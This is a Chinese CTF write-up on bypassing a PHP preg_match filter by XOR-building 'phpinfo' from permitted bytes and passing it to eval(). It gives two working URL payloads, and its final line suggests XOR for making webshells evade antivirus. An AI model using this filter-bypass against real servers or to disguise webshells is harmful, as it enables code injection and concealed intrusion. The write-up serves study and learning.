在圈子中看到了有表哥发变态CTF中preg_match绕过的姿势,并没有写绕过的具体原理及方法,本着学习的态度,查了查资料简单复现了一下。
0x00 题目原型是这样的
测试环境
php7.0.12
apache5.3
简单理解shell参数接收时不允许包含以下字符串"0123456789,.$&|{_defogps]",最终的目的是要到eval()函数中去执行任意代码,这题也就是考研我们如何绕过这个preg_match。
通过表哥给的姿势是这样的
http://127.0.0.1/1.php?shell=(%27%01%00%01%00%00%04%01%27^%27qhqinbn%27)();
标红的部分是payload
最终结果
简单来说将特殊字符通过异或的方式重组了phpinfo();,当然这也得益于php语义的灵活性。下面看看如何构造payload。
0x01 原理
什么是按位异或,异或本质是二进制运算
1001
0101
1100
对应二进制位相异(不相同)时,结果为1,否则为0.
举例: 比如95,其实就是1001 0101 = 1,因此9^5=1100=12
在php中,abc^def,会产生一个新的字符串,比较方式是:a的ascii码和d的ascii码进行二进制异或操作,生成新的二进制,然后转换为ascii,进而生成新的异或结果。所以,异或会产生新的字符串,上面表哥给的payload就是基于这样的方式生成出来的。
0x02 生成有效的异或字符
1、先过滤出未被程序过滤的字符的ASCII码
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,37,39,40,41,42,43,45,47,58,59,60,61,62,63,64,65,66,67,72,73,74,75,76,77,78,81,82,84,85,86,87,88,89,90,91,92,93,94,96,97,98,99,104,105,106,107,108,109,110,113,114,116,…后面省略了
2、使用python脚本过滤有效的字符
通过以上呢可以有效的获取到phpinfo异或后的组合,可以看到有很多
随便挑一个就行了
10^69=p
11^79=h
10^69=p
10^79=i
16^78=n
11^77=f
16^79=o
最后换成url格式
%27%10%11%10%10%16%11%16%27^%27%60y%60yxwy%27;
成功执行
总结
异或除了绕过以外,还可以免杀自己的webshell哦。